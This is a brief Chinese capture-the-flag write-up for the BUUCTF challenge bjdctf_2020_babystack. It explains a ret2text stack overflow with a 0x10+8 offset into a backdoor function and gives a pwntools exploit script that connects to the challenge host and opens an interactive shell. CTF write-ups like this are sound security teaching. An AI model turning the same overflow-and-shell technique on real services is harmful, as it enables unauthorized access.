【BUUCTF-PWN】10-bjdctf_2020_babystack

简单的栈溢出，ret2text

64位，开启了NX保护

执行效果：

main函数：

因为读入的字符长度可以由用户输入的第一个参数值决定，因此read函数存在栈溢出
覆盖距离为0x10+8

存在后门函数：

后门函数地址0x4006E6

这里做不做堆栈平衡都可以，试了一下加不加1都可以打通
exp如下：

from pwn import *
io = remote("node5.buuoj.cn",28478)
payload1 = '33'
io.sendlineafter("Please input the length of your name:\n",payload1)
payload2 = b'a'*(0x10+8)+p64(0x4006E6+1)
io.sendlineafter("What's u name?\n",payload2)
io.interactive()

运行结果：